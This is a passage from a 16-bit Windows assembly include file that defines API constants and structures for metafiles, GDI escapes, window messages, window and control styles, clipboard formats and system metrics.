META_POLYLINE              =  0325h
META_ESCAPE                =  0626h
META_RESTOREDC             =  0127h
META_FILLREGION            =  0228h
META_FRAMEREGION           =  0429h
META_INVERTREGION          =  012Ah
META_PAINTREGION           =  012Bh
META_SELECTCLIPREGION      =  012Ch
META_SELECTOBJECT          =  012Dh
META_SETTEXTALIGN          =  012Eh
META_DRAWTEXT              =  062Fh

META_CHORD                 =  0830h
META_SETMAPPERFLAGS        =  0231h
META_EXTTEXTOUT            =  0a32h
META_SETDIBTODEV           =  0d33h
META_SELECTPALETTE         =  0234h
META_REALIZEPALETTE        =  0035h
META_ANIMATEPALETTE        =  0436h
META_SETPALENTRIES         =  0037h
META_POLYPOLYGON           =  0538h
META_RESIZEPALETTE         =  0139h

META_DIBBITBLT             =  0940h
META_DIBSTRETCHBLT         =  0b41h
META_DIBCREATEPATTERNBRUSH =  0142h
META_STRETCHDIB            =  0f43h

META_DELETEOBJECT          =  01f0h

META_CREATEPALETTE         =  00f7h
META_CREATEBRUSH           =  00F8h
META_CREATEPATTERNBRUSH    =  01F9h
META_CREATEPENINDIRECT     =  02FAh
META_CREATEFONTINDIRECT    =  02FBh
META_CREATEBRUSHINDIRECT   =  02FCh
META_CREATEBITMAPINDIRECT  =  02FDh
META_CREATEBITMAP          =  06FEh
META_CREATEREGION          =  06FFh

; /* Clipboard Metafile Picture Structure */
HANDLETABLE struc
    ht_objectHandle  dw      ?
HANDLETABLE ends

METARECORD struc
    mr_rdSize        dd      ?
    mr_rdFunction    dw      ?
    mr_rdParm        dw      ?
METARECORD ends

METAFILEPICT struc
    mfp_mm      dw      ?
    mfp_xExt    dw      ?
    mfp_yExt    dw      ?
    mfp_hMF     dw      ?
METAFILEPICT ends

METAHEADER struc
  mtType        dw      ?
  mtHeaderSize  dw      ?
  mtVersion     dw      ?
  mtSize        dd      ?
  mtNoObjects   dw      ?
  mtMaxRecord   dd      ?
  mtNoParameters dw     ?
METAHEADER ends

endif ; NOMETAFILE

; GDI Escapes
NEWFRAME                  =   1
ABORTDOC                  =   2
NEXTBAND                  =   3
SETCOLORTABLE             =   4
GETCOLORTABLE             =   5
FLUSHOUTPUT               =   6
DRAFTMODE                 =   7
QUERYESCSUPPORT           =   8
SETABORTPROC              =   9
STARTDOC                  =   10
;; This value conflicts with a std WIN386 MACRO definition
;;ENDDOC                    =   11
GETPHYSPAGESIZE           =   12
GETPRINTINGOFFSET         =   13
GETSCALINGFACTOR          =   14
MFCOMMENT                 =   15
GETPENWIDTH               =   16
SETCOPYCOUNT              =   17
SELECTPAPERSOURCE         =   18
DEVICEDATA                =   19
PASSTHROUGH               =   19
GETTECHNOLGY              =   20
GETTECHNOLOGY             =   20
SETENDCAP                 =   21
SETLINEJOIN               =   22
SETMITERLIMIT             =   23
BANDINFO                  =   24
DRAWPATTERNRECT           =   25
GETVECTORPENSIZE          =   26
GETVECTORBRUSHSIZE        =   27
ENABLEDUPLEX              =   28
ENABLEMANUALFEED          =   29
GETSETPAPERBINS           =   29
GETSETPRINTORIENT         =   30
ENUMPAPERBINS             =   31

GETEXTENDEDTEXTMETRICS    =   256
GETEXTENTTABLE            =   257
GETPAIRKERNTABLE          =   258
GETTRACKKERNTABLE         =   259

EXTTEXTOUT                =   512

ENABLERELATIVEWIDTHS      =   768
ENABLEPAIRKERNING         =   769
SETKERNTRACK              =   770
SETALLJUSTVALUES          =   771
SETCHARSET                =   772

GETSETSCREENPARAMS        =   3072

STRETCHBLT                =   2048


; Spooler Error Codes
SP_NOTREPORTED            =   4000h
SP_ERROR                  =   (-1)
SP_APPABORT               =   (-2)
SP_USERABORT              =   (-3)
SP_OUTOFDISK              =   (-4)
SP_OUTOFMEMORY            =   (-5)

PR_JOBSTATUS              =   0000

; Object Definitions for EnumObjects()
OBJ_PEN                   =   1
OBJ_BRUSH                 =   2

;
; Menu flags for Change/Check/Enable MenuItem
;
MF_INSERT       =   0000h
MF_CHANGE       =   0080h
MF_APPEND       =   0100h
MF_DELETE       =   0200h
MF_REMOVE       =   1000h

MF_BYCOMMAND    =   0000h
MF_BYPOSITION   =   0400h

MF_SEPARATOR    =   0800h

MF_ENABLED      =   0000h
MF_GRAYED       =   0001h
MF_DISABLED     =   0002h

MF_UNCHECKED    =   0000h
MF_CHECKED      =   0008h
MF_USECHECKBITMAPS= 0200h

MF_STRING       =   0000h
MF_BITMAP       =   0004h
MF_OWNERDRAW    =   0100h

MF_POPUP        =   0010h
MF_MENUBARBREAK =   0020h
MF_MENUBREAK    =   0040h

MF_UNHILITE     =   0000h
MF_HILITE       =   0080h

MF_SYSMENU      =   2000h
MF_HELP         =   4000h
MF_MOUSESELECT  =   8000h


;
;  System Menu Command Values
;
SC_SIZE        = 0F000h
SC_MOVE        = 0F010h
SC_MINIMIZE    = 0F020h
SC_MAXIMIZE    = 0F030h
SC_NEXTWINDOW  = 0F040h
SC_PREVWINDOW  = 0F050h
SC_CLOSE       = 0F060h
SC_VSCROLL     = 0F070h
SC_HSCROLL     = 0F080h
SC_MOUSEMENU   = 0F090h
SC_KEYMENU     = 0F100h
SC_ARRANGE     = 0F110h
SC_RESTORE     = 0F120h
SC_TASKLIST    = 0F130h
SC_SCREENSAVE  = 0F140h
SC_HOTKEY      = 0F150h

SC_ICON        = SC_MINIMIZE
SC_ZOOM        = SC_MAXIMIZE

;
;  Window State Messages
;
IFNDEF  NOWM
WM_STATE            = 0000H

WM_NULL             = 0000h
WM_CREATE           = 0001h
WM_DESTROY          = 0002h
WM_MOVE             = 0003h
WM_SIZE             = 0005h
WM_ACTIVATE         = 0006h
WM_SETFOCUS         = 0007h
WM_KILLFOCUS        = 0008h
WM_ENABLE           = 000Ah
WM_SETREDRAW        = 000Bh
WM_SETTEXT          = 000Ch
WM_GETTEXT          = 000Dh
WM_GETTEXTLENGTH    = 000Eh
WM_PAINT            = 000Fh
WM_CLOSE            = 0010h
WM_QUERYENDSESSION  = 0011h
WM_QUIT             = 0012h
WM_QUERYOPEN        = 0013h
WM_ERASEBKGND       = 0014h
WM_SYSCOLORCHANGE   = 0015h
WM_ENDSESSION       = 0016h
WM_SYSTEMERROR      = 0017h
WM_SHOWWINDOW       = 0018h
WM_CTLCOLOR         = 0019h
WM_WININICHANGE     = 001Ah
WM_DEVMODECHANGE    = 001Bh
WM_ACTIVATEAPP      = 001Ch
WM_FONTCHANGE       = 001Dh
WM_TIMECHANGE       = 001Eh
WM_CANCELMODE       = 001Fh
WM_SETCURSOR        = 0020h
WM_MOUSEACTIVATE    = 0021h
WM_CHILDACTIVATE    = 0022h
WM_QUEUESYNC        = 0023h
WM_GETMINMAXINFO    = 0024h
WM_PAINTICON        = 0026h
WM_ICONERASEBKGND   = 0027h
WM_NEXTDLGCTL       = 0028h
WM_SPOOLERSTATUS    = 002Ah
WM_DRAWITEM         = 002Bh
WM_MEASUREITEM      = 002Ch
WM_DELETEITEM       = 002Dh
WM_VKEYTOITEM       = 002Eh
WM_CHARTOITEM       = 002Fh
WM_SETFONT          = 0030h
WM_GETFONT          = 0031h
WM_QUERYDRAGICON    = 0037h
WM_COMPAREITEM      = 0039h
WM_COMPACTING       = 0041h
IFNDEF NOWIN31
WM_COMMNOTIFY       = 0044h
WM_WINDOWPOSCHANGING= 0046h
WM_WINDOWPOSCHANGED = 0047h
WM_POWER            = 0048h
ENDIF


WM_NCCREATE         = 0081h
WM_NCDESTROY        = 0082h
WM_NCCALCSIZE       = 0083h
WM_NCHITTEST        = 0084h
WM_NCPAINT          = 0085h
WM_NCACTIVATE       = 0086h
WM_GETDLGCODE       = 0087h
WM_NCMOUSEMOVE      = 00A0h
WM_NCLBUTTONDOWN    = 00A1h
WM_NCLBUTTONUP      = 00A2h
WM_NCLBUTTONDBLCLK  = 00A3h
WM_NCRBUTTONDOWN    = 00A4h
WM_NCRBUTTONUP      = 00A5h
WM_NCRBUTTONDBLCLK  = 00A6h
WM_NCMBUTTONDOWN    = 00A7h
WM_NCMBUTTONUP      = 00A8h
WM_NCMBUTTONDBLCLK  = 00A9h

WM_KEYFIRST         = 0100h
WM_KEYDOWN          = 0100h
WM_KEYUP            = 0101h
WM_CHAR             = 0102h
WM_DEADCHAR         = 0103h
WM_SYSKEYDOWN       = 0104h
WM_SYSKEYUP         = 0105h
WM_SYSCHAR          = 0106h
WM_SYSDEADCHAR      = 0107h
WM_KEYLAST          = 0108h

WM_INITDIALOG       = 0110h
WM_COMMAND          = 0111h
WM_SYSCOMMAND       = 0112h
WM_TIMER            = 0113h
WM_HSCROLL          = 0114h
WM_VSCROLL          = 0115h
WM_INITMENU         = 0116h
WM_INITMENUPOPUP    = 0117h
WM_MENUSELECT       = 011Fh
WM_MENUCHAR         = 0120h
WM_ENTERIDLE        = 0121h


WM_MOUSEFIRST       = 0200h
WM_MOUSEMOVE        = 0200h
WM_LBUTTONDOWN      = 0201h
WM_LBUTTONUP        = 0202h
WM_LBUTTONDBLCLK    = 0203h
WM_RBUTTONDOWN      = 0204h
WM_RBUTTONUP        = 0205h
WM_RBUTTONDBLCLK    = 0206h
WM_MBUTTONDOWN      = 0207h
WM_MBUTTONUP        = 0208h
WM_MBUTTONDBLCLK    = 0209h
WM_MOUSELAST        = 0209h

WM_PARENTNOTIFY     = 0210h
WM_MDICREATE        = 0220h
WM_MDIDESTROY       = 0221h
WM_MDIACTIVATE      = 0222h
WM_MDIRESTORE       = 0223h
WM_MDINEXT          = 0224h
WM_MDIMAXIMIZE      = 0225h
WM_MDITILE          = 0226h
WM_MDICASCADE       = 0227h
WM_MDIICONARRANGE   = 0228h
WM_MDIGETACTIVE     = 0229h
WM_MDISETMENU       = 0230h
WM_DROPFILES        = 0233h


WM_CUT              = 0300h
WM_COPY             = 0301h
WM_PASTE            = 0302h
WM_CLEAR            = 0303h
WM_UNDO             = 0304h
WM_RENDERFORMAT     = 0305h
WM_RENDERALLFORMATS = 0306h
WM_DESTROYCLIPBOARD = 0307h
WM_DRAWCLIPBOARD    = 0308h
WM_PAINTCLIPBOARD   = 0309h
WM_VSCROLLCLIPBOARD = 030Ah
WM_SIZECLIPBOARD    = 030Bh
WM_ASKCBFORMATNAME  = 030Ch
WM_CHANGECBCHAIN    = 030Dh
WM_HSCROLLCLIPBOARD = 030Eh
WM_QUERYNEWPALETTE  = 030Fh
WM_PALETTEISCHANGING = 0310h
WM_PALETTECHANGED   = 0311h

IFNDEF NOWIN31
WM_PENWINFIRST      equ 0380h
WM_PENWINLAST       equ 038Fh


WM_COALESCE_FIRST  equ 0390h
WM_COALESCE_LAST   equ 039Fh




ENDIF



;  private window messages start here
WM_USER             = 0400H
ENDIF           ; NOWM

; WM_MOUSEACTIVATE Return Codes
MA_ACTIVATE       =  1
MA_ACTIVATEANDEAT =  2
MA_NOACTIVATE     =  3

; Size message commands
SIZENORMAL       = 0
SIZEICONIC       = 1
SIZEFULLSCREEN   = 2
SIZEZOOMSHOW     = 3
SIZEZOOMHIDE     = 4

; ShowWindow() Commands
SW_HIDE            = 0
SW_SHOWNORMAL      = 1
SW_NORMAL          = 1
SW_SHOWMINIMIZED   = 2
SW_SHOWMAXIMIZED   = 3
SW_MAXIMIZE        = 3
SW_SHOWNOACTIVATE  = 4
SW_SHOW            = 5
SW_MINIMIZE        = 6
SW_SHOWMINNOACTIVE = 7
SW_SHOWNA          = 8
SW_RESTORE         = 9

; Old ShowWindow() Commands
HIDE_WINDOW        = 0
SHOW_OPENWINDOW    = 1
SHOW_ICONWINDOW    = 2
SHOW_FULLSCREEN    = 3
SHOW_OPENNOACTIVATE= 4

;  identifiers for the WM_SHOWWINDOW message
SW_PARENTCLOSING =  1
SW_OTHERZOOM     =  2
SW_PARENTOPENING =  3
SW_OTHERUNZOOM   =  4
;
; Key state masks for mouse messages
;
MK_LBUTTON       = 0001h
MK_RBUTTON       = 0002h
MK_SHIFT         = 0004h
MK_CONTROL       = 0008h
MK_MBUTTON       = 0010h
;
; Class styles
;
CS_VREDRAW         = 0001h
CS_HREDRAW         = 0002h
CS_KEYCVTWINDOW    = 0004H
CS_DBLCLKS         = 0008h
;                    0010h reserved
CS_OWNDC           = 0020h
CS_CLASSDC         = 0040h
CS_PARENTDC        = 0080h
CS_NOKEYCVT        = 0100h
CS_SAVEBITS        = 0800h
CS_NOCLOSE         = 0200h
CS_BYTEALIGNCLIENT = 1000h
CS_BYTEALIGNWINDOW = 2000h
CS_GLOBALCLASS     = 4000h    ; Global window class

;
; Special CreateWindow position value
;
CW_USEDEFAULT   EQU    8000h

;
; Windows styles (the high words)
;
WS_OVERLAPPED   = 00000h
WS_ICONICPOPUP  = 0C000h
WS_POPUP        = 08000h
WS_CHILD        = 04000h
WS_MINIMIZE     = 02000h
WS_VISIBLE      = 01000h
WS_DISABLED     = 00800h
WS_CLIPSIBLINGS = 00400h
WS_CLIPCHILDREN = 00200h
WS_MAXIMIZE     = 00100h
WS_CAPTION      = 000C0h     ; WS_BORDER | WS_DLGFRAME
WS_BORDER       = 00080h
WS_DLGFRAME     = 00040h
WS_VSCROLL      = 00020h
WS_HSCROLL      = 00010h
WS_SYSMENU      = 00008h
WS_THICKFRAME   = 00004h
WS_HREDRAW      = 00002h
WS_VREDRAW      = 00001h
WS_GROUP        = 00002h
WS_TABSTOP      = 00001h
WS_MINIMIZEBOX  = 00002h
WS_MAXIMIZEBOX  = 00001h

; Common Window Styles

WS_OVERLAPPEDWINDOW = WS_OVERLAPPED + WS_CAPTION + WS_SYSMENU + WS_THICKFRAME + WS_MINIMIZEBOX + WS_MAXIMIZEBOX
WS_POPUPWINDOW  = WS_POPUP + WS_BORDER + WS_SYSMENU
WS_CHILDWINDOW  = WS_CHILD
WS_TILEDWINDOW  = WS_OVERLAPPEDWINDOW

WS_TILED        = WS_OVERLAPPED
WS_ICONIC       = WS_MINIMIZE
WS_SIZEBOX      = WS_THICKFRAME

; Extended Window Styles (low words)
WS_EX_DLGMODALFRAME  = 0001
WS_EX_DRAGOBJECT     = 0002
WS_EX_NOPARENTNOTIFY = 0004
WS_EX_TOPMOST        = 0008

;
; predefined clipboard formats
;
CF_TEXT         =  1
CF_BITMAP       =  2
CF_METAFILEPICT =  3
CF_SYLK         =  4
CF_DIF          =  5
CF_TIFF         =  6
CF_OEMTEXT      =  7
CF_DIB          =  8
CF_PALETTE      =  9
CF_PENDATA      = 10
CF_RIFF         = 11
CF_WAVE         = 12

CF_OWNERDISPLAY = 80h       ; owner display
CF_DSPTEXT      = 81h       ; display text
CF_DSPBITMAP    = 82h       ; display bitmap
CF_DSPMETAFILEPICT  = 83h   ; display metafile
;
; Private clipboard format range
;
CF_PRIVATEFIRST       = 200h       ; Anything in this range doesn't
CF_PRIVATELAST        = 2ffh       ; get GlobalFree'd
CF_GDIOBJFIRST        = 300h       ; Anything in this range gets
CF_GDIOBJLAST         = 3ffh       ; DeleteObject'ed


MAKEINTRESOURCE MACRO a
        mov     ax,a
        xor     dx,dx
        ENDM
;
;  Predefined resource types
;
RT_CURSOR       = 1              ; must be passed through MAKEINTRESOURCE
RT_BITMAP       = 2
RT_ICON         = 3
RT_MENU         = 4
RT_DIALOG       = 5
RT_STRING       = 6
RT_FONTDIR      = 7
RT_FONT         = 8
RT_ACCELERATOR  = 9
RT_RCDATA       = 10

;** NOTE: if any new resource types are introduced above this point, then the
;** value of DIFFERENCE must be changed.
;** (RT_GROUP_CURSOR - RT_CURSOR) must always be equal to DIFFERENCE
;** (RT_GROUP_ICON - RT_ICON) must always be equal to DIFFERENCE

DIFFERENCE       =   11

RT_GROUP_CURSOR  =   RT_CURSOR + DIFFERENCE
RT_GROUP_ICON    =   RT_ICON + DIFFERENCE



IFNDEF NOMDI
MDICREATESTRUCT     struc
    szClass         dd ?
    szTitle         dd ?
    hOwner          dw ?
    x               dw ?
    y               dw ?
    cxc             dw ?
    cyc             dw ?
    style           dd ?
MDICREATESTRUCT ends

CLIENTCREATESTRUCT  struc
    hWindowMenu     dw ?
    idFirstChild    dw ?
CLIENTCREATESTRUCT ends
ENDIF

; NOMDI


PALETTEENTRY        struc
    peRed           db ?
    peGreen         db ?
    peBlue          db ?
    peFlags         db ?
PALETTEENTRY        ends

; Logical Palette
LOGPALETTE          struc
    palVersion      dw ?
    palNumEntries   dw ?
    palPalEntry     db ?  ; array of PALETTEENTRY
LOGPALETTE          ends

; DRAWITEMSTRUCT for ownerdraw
DRAWITEMSTRUCT      struc
    drCtlType         dw ?
    drCtlID           dw ?
    dritemID          dw ?
    dritemAction      dw ?
    dritemState       dw ?
    drhwndItem        dw ?
    drhDC             dw ?
    drrcItem          DB size RECT dup(?)
    dritemData        dd ?
DRAWITEMSTRUCT ends

; DELETEITEMSTRUCT for ownerdraw
DELETEITEMSTRUCT    struc
    deCtlType         dw ?
    deCtlID           dw ?
    deitemID          dw ?
    dehwndItem        dw ?
    deitemData        dd ?
DELETEITEMSTRUCT ends

; MEASUREITEMSTRUCT for ownerdraw
MEASUREITEMSTRUCT   struc
    meCtlType         dw ?
    meCtlID           dw ?
    meitemID          dw ?
    meitemWidth       dw ?
    meitemHeight      dw ?
    meitemData        dd ?
MEASUREITEMSTRUCT ends

; COMPAREITEMSTUCT for ownerdraw sorting
COMPAREITEMSTRUCT   struc
    coCtlType   dw ?
    coCtlID     dw ?
    cohwndItem  dw ?
    coitemID1   dw ?
    coitemData1 dd ?
    coitemID2   dw ?
    coitemData2 dd ?
COMPAREITEMSTRUCT   ends

; Owner draw control types
ODT_MENU      =  1
ODT_LISTBOX   =  2
ODT_COMBOBOX  =  3
ODT_BUTTON    =  4

; Owner draw actions
ODA_DRAWENTIRE = 1
ODA_SELECT     = 2
ODA_FOCUS      = 4

; Owner draw state
ODS_SELECTED   = 0001h
ODS_GRAYED     = 0002h
ODS_DISABLED   = 0004h
ODS_CHECKED    = 0008h
ODS_FOCUS      = 0010h

; PeekMessage() Options
PM_NOREMOVE    = 0000h
PM_REMOVE      = 0001h
PM_NOYIELD     = 0002h

; SetWindowPos Flags
SWP_NOSIZE       =  0001h
SWP_NOMOVE       =  0002h
SWP_NOZORDER     =  0004h
SWP_NOREDRAW     =  0008h
SWP_NOACTIVATE   =  0010h
SWP_DRAWFRAME    =  0020h
SWP_SHOWWINDOW   =  0040h
SWP_HIDEWINDOW   =  0080h
SWP_NOCOPYBITS   =  0100h
SWP_NOREPOSITION =  0200h


IFNDEF NOWINMESSAGES

; Listbox messages
LB_ADDSTRING           = (WM_USER+1)
LB_INSERTSTRING        = (WM_USER+2)
LB_DELETESTRING        = (WM_USER+3)
LB_RESETCONTENT        = (WM_USER+5)
LB_SETSEL              = (WM_USER+6)
LB_SETCURSEL           = (WM_USER+7)
LB_GETSEL              = (WM_USER+8)
LB_GETCURSEL           = (WM_USER+9)
LB_GETTEXT             = (WM_USER+10)
LB_GETTEXTLEN          = (WM_USER+11)
LB_GETCOUNT            = (WM_USER+12)
LB_SELECTSTRING        = (WM_USER+13)
LB_DIR                 = (WM_USER+14)
LB_GETTOPINDEX         = (WM_USER+15)
LB_FINDSTRING          = (WM_USER+16)
LB_GETSELCOUNT         = (WM_USER+17)
LB_GETSELITEMS         = (WM_USER+18)
LB_SETTABSTOPS         = (WM_USER+19)
LB_GETHORIZONTALEXTENT = (WM_USER+20)
LB_SETHORIZONTALEXTENT = (WM_USER+21)
LB_SETTOPINDEX         = (WM_USER+24)
LB_GETITEMRECT         = (WM_USER+25)
LB_GETITEMDATA         = (WM_USER+26)
LB_SETITEMDATA         = (WM_USER+27)
LB_SELITEMRANGE        = (WM_USER+28)
LB_SETCARETINDEX       = (WM_USER+31)
LB_GETCARETINDEX       = (WM_USER+32)
IFNDEF NOWIN31
LB_SETITEMHEIGHT       = (WM_USER+33)
LB_GETITEMHEIGHT       = (WM_USER+34)
LB_FINDSTRINGEXACT     = (WM_USER+35)
ENDIF

ENDIF
; NOWINMESSAGES

; Listbox Styles
LBS_NOTIFY            = 0001h
LBS_SORT              = 0002h
LBS_NOREDRAW          = 0004h
LBS_MULTIPLESEL       = 0008h
LBS_OWNERDRAWFIXED    = 0010h
LBS_OWNERDRAWVARIABLE = 0020h
LBS_HASSTRINGS        = 0040h
LBS_USETABSTOPS       = 0080h
LBS_NOINTEGRALHEIGHT  = 0100h
LBS_MULTICOLUMN       = 0200h
LBS_WANTKEYBOARDINPUT = 0400h
LBS_EXTENDEDSEL       = 0800h
LBS_STANDARD          = LBS_NOTIFY + LBS_SORT + WS_VSCROLL + WS_BORDER
LBS_DISABLENOSCROLL   = 1000h

; Listbox Notification Codes
LBN_ERRSPACE      =  (-2)
LBN_SELCHANGE     =  1
LBN_DBLCLK        =  2
LBN_SELCANCEL     =  3
LBN_SETFOCUS      =  4
LBN_KILLFOCUS     =  5

IFNDEF NOWINMESSAGES

; Edit Control Messages
EM_GETSEL              = (WM_USER+0)
EM_SETSEL              = (WM_USER+1)
EM_GETRECT             = (WM_USER+2)
EM_SETRECT             = (WM_USER+3)
EM_SETRECTNP           = (WM_USER+4)
EM_SCROLL              = (WM_USER+5)
EM_LINESCROLL          = (WM_USER+6)
EM_GETMODIFY           = (WM_USER+8)
EM_SETMODIFY           = (WM_USER+9)
EM_GETLINECOUNT        = (WM_USER+10)
EM_LINEINDEX           = (WM_USER+11)
EM_SETHANDLE           = (WM_USER+12)
EM_GETHANDLE           = (WM_USER+13)
EM_LINELENGTH          = (WM_USER+17)
EM_REPLACESEL          = (WM_USER+18)
EM_SETFONT             = (WM_USER+19)
EM_GETLINE             = (WM_USER+20)
EM_LIMITTEXT           = (WM_USER+21)
EM_CANUNDO             = (WM_USER+22)
EM_UNDO                = (WM_USER+23)
EM_FMTLINES            = (WM_USER+24)
EM_LINEFROMCHAR        = (WM_USER+25)
EM_SETWORDBREAK        = (WM_USER+26)
EM_SETTABSTOPS         = (WM_USER+27)
EM_SETPASSWORDCHAR     = (WM_USER+28)
EM_EMPTYUNDOBUFFER     = (WM_USER+29)
IFNDEF NOWIN31
EM_GETFIRSTVISIBLELINE = (WM_USER+30)
EM_SETREADONLY         = (WM_USER+31)
EM_SETWORDBREAKPROC    = (WM_USER+32)
EM_GETWORDBREAKPROC    = (WM_USER+33)
EM_GETPASSWORDCHAR     = (WM_USER+34)
ENDIF

ENDIF
; NOWINMESSAGES


; Edit Control Styles (low word)
ES_LEFT            = 0000h
ES_CENTER          = 0001h
ES_RIGHT           = 0002h
ES_MULTILINE       = 0004h
ES_UPPERCASE       = 0008h
ES_LOWERCASE       = 0010h
ES_PASSWORD        = 0020h
ES_AUTOVSCROLL     = 0040h
ES_AUTOHSCROLL     = 0080h
ES_NOHIDESEL       = 0100h
ES_OEMCONVERT      = 0400h
IFNDEF NOWIN31
ES_READONLY        = 0800h
ES_WANTRETURN      = 1000h
ENDIF


; Edit Control Notification Codes
EN_SETFOCUS        = 0100h
EN_KILLFOCUS       = 0200h
EN_CHANGE          = 0300h
EN_UPDATE          = 0400h
EN_ERRSPACE        = 0500h
EN_MAXTEXT         = 0501h
EN_HSCROLL         = 0601h
EN_VSCROLL         = 0602h

IFNDEF NOWINMESSAGES

; Button Control Messages
BM_GETCHECK        = (WM_USER+0)
BM_SETCHECK        = (WM_USER+1)
BM_GETSTATE        = (WM_USER+2)
BM_SETSTATE        = (WM_USER+3)
BM_SETSTYLE        = (WM_USER+4)

ENDIF
; NOWINMESSAGES

; Button Control Styles (low word)
BS_PUSHBUTTON      = 00h
BS_DEFPUSHBUTTON   = 01h
BS_CHECKBOX        = 02h
BS_AUTOCHECKBOX    = 03h
BS_RADIOBUTTON     = 04h
BS_3STATE          = 05h
BS_AUTO3STATE      = 06h
BS_GROUPBOX        = 07h
BS_USERBUTTON      = 08h
BS_AUTORADIOBUTTON = 09h
BS_OWNERDRAW       = 0Bh
BS_LEFTTEXT        = 20h

; User Button Notification Codes
BN_CLICKED         = 0
BN_PAINT           = 1
BN_HILITE          = 2
BN_UNHILITE        = 3
BN_DISABLE         = 4
BN_DOUBLECLICKED   = 5

; Dialog Styles (low words)
DS_ABSALIGN        = 01h
DS_SYSMODAL        = 02h
DS_LOCALEDIT       = 20h  ;/* Edit items get Local storage. */
DS_SETFONT         = 40h  ;/* User specified font for Dlg controls */
DS_MODALFRAME      = 80h  ;/* Can be combined with WS_CAPTION  */
DS_NOIDLEMSG       = 100h ;/* WM_ENTERIDLE message will not be sent */

IFNDEF NOWINMESSAGES

; Dialog box messages
DM_GETDEFID        = (WM_USER+0)
DM_SETDEFID        = (WM_USER+1)

ENDIF   ;NOWINMESSAGES

; Dialog Codes
DLGC_WANTARROWS     = 0001h    ;  /* Control wants arrow keys         */
DLGC_WANTTAB        = 0002h    ;  /* Control wants tab keys           */
DLGC_WANTALLKEYS    = 0004h    ;  /* Control wants all keys           */
DLGC_WANTMESSAGE    = 0004h    ;  /* Pass message to control          */
DLGC_HASSETSEL      = 0008h    ;  /* Understands EM_SETSEL message    */
DLGC_DEFPUSHBUTTON  = 0010h    ;  /* Default pushbutton               */
DLGC_UNDEFPUSHBUTTON= 0020h    ;  /* Non-default pushbutton           */
DLGC_RADIOBUTTON    = 0040h    ;  /* Radio button                     */
DLGC_WANTCHARS      = 0080h    ;  /* Want WM_CHAR messages            */
DLGC_STATIC         = 0100h    ;  /* Static item: don't include       */
DLGC_BUTTON         = 2000h    ;  /* Button item: can be checked      */

; Combo Box return Values
CB_OKAY          =   0
CB_ERR           =   (-1)
CB_ERRSPACE      =   (-2)

; Combo Box Notification Codes
CBN_ERRSPACE     =   (-1)
CBN_SELCHANGE    =   1
CBN_DBLCLK       =   2
CBN_SETFOCUS     =   3
CBN_KILLFOCUS    =   4
CBN_EDITCHANGE   =   5
CBN_EDITUPDATE   =   6
CBN_DROPDOWN     =   7

; Combo Box styles (low words)
CBS_SIMPLE           = 0001h
CBS_DROPDOWN         = 0002h
CBS_DROPDOWNLIST     = 0003h
CBS_OWNERDRAWFIXED   = 0010h
CBS_OWNERDRAWVARIABLE= 0020h
CBS_AUTOHSCROLL      = 0040h
CBS_OEMCONVERT       = 0080h
CBS_SORT             = 0100h
CBS_HASSTRINGS       = 0200h
CBS_NOINTEGRALHEIGHT = 0400h

IFNDEF NOWINMESSAGES

; Combo Box messages
CB_GETEDITSEL            = (WM_USER+0)
CB_LIMITTEXT             = (WM_USER+1)
CB_SETEDITSEL            = (WM_USER+2)
CB_ADDSTRING             = (WM_USER+3)
CB_DELETESTRING          = (WM_USER+4)
CB_DIR                   = (WM_USER+5)
CB_GETCOUNT              = (WM_USER+6)
CB_GETCURSEL             = (WM_USER+7)
CB_GETLBTEXT             = (WM_USER+8)
CB_GETLBTEXTLEN          = (WM_USER+9)
CB_INSERTSTRING          = (WM_USER+10)
CB_RESETCONTENT          = (WM_USER+11)
CB_FINDSTRING            = (WM_USER+12)
CB_SELECTSTRING          = (WM_USER+13)
CB_SETCURSEL             = (WM_USER+14)
CB_SHOWDROPDOWN          = (WM_USER+15)
CB_GETITEMDATA           = (WM_USER+16)
CB_SETITEMDATA           = (WM_USER+17)
IFNDEF NOWIN31
CB_GETDROPPEDCONTROLRECT = (WM_USER+18)
CB_SETITEMHEIGHT         = (WM_USER+19)
CB_GETITEMHEIGHT         = (WM_USER+20)
CB_SETEXTENDEDUI         = (WM_USER+21)
CB_GETEXTENDEDUI         = (WM_USER+22)
CB_GETDROPPEDSTATE       = (WM_USER+23)
CB_FINDSTRINGEXACT       = (WM_USER+24)
ENDIF

ENDIF ; NOWINMESSAGES

; Static Control styles (low word)
SS_LEFT            = 00h
SS_CENTER          = 01h
SS_RIGHT           = 02h
SS_ICON            = 03h
SS_BLACKRECT       = 04h
SS_GRAYRECT        = 05h
SS_WHITERECT       = 06h
SS_BLACKFRAME      = 07h
SS_GRAYFRAME       = 08h
SS_WHITEFRAME      = 09h
SS_SIMPLE          = 0Bh
SS_LEFTNOWORDWRAP  = 0Ch
SS_NOPREFIX        = 80h    ; Don't do "&" character translation

IFNDEF NOWIN31
IFNDEF NOWINMESSAGES

;Static Control Messages
STM_SETICON        = (WM_USER+0)
STM_GETICON        = (WM_USER+1)
ENDIF
ENDIF

; Scroll Bar Styles (low word)
SBS_HORZ                    = 0000h
SBS_VERT                    = 0001h
SBS_TOPALIGN                = 0002h
SBS_LEFTALIGN               = 0002h
SBS_BOTTOMALIGN             = 0004h
SBS_RIGHTALIGN              = 0004h
SBS_SIZEBOXTOPLEFTALIGN     = 0002h
SBS_SIZEBOXBOTTOMRIGHTALIGN = 0004h
SBS_SIZEBOX                 = 0008h

IFNDEF NOSYSMETRICS

; GetSystemMetrics() codes
SM_CXSCREEN           =  0
SM_CYSCREEN           =  1
SM_CXVSCROLL          =  2
SM_CYHSCROLL          =  3
SM_CYCAPTION          =  4
SM_CXBORDER           =  5
SM_CYBORDER           =  6
SM_CXDLGFRAME         =  7
SM_CYDLGFRAME         =  8
SM_CYVTHUMB           =  9
SM_CXHTHUMB           =  10
SM_CXICON             =  11
SM_CYICON             =  12
SM_CXCURSOR           =  13
SM_CYCURSOR           =  14
SM_CYMENU             =  15
SM_CXFULLSCREEN       =  16
SM_CYFULLSCREEN       =  17
SM_CYKANJIWINDOW      =  18
SM_MOUSEPRESENT       =  19
SM_CYVSCROLL          =  20
SM_CXHSCROLL          =  21
SM_DEBUG              =  22
SM_SWAPBUTTON         =  23
SM_RESERVED1          =  24
SM_RESERVED2          =  25
SM_RESERVED3          =  26
SM_RESERVED4          =  27
SM_CXMIN              =  28
SM_CYMIN              =  29
SM_CXSIZE             =  30
SM_CYSIZE             =  31
SM_CXFRAME            =  32
SM_CYFRAME            =  33
SM_CXMINTRACK         =  34
SM_CYMINTRACK         =  35
IFNDEF NOWIN31
SM_CXDOUBLECLK        =  36
SM_CYDOUBLECLK        =  37
SM_CXICONSPACING      =  38
SM_CYICONSPACING      =  39
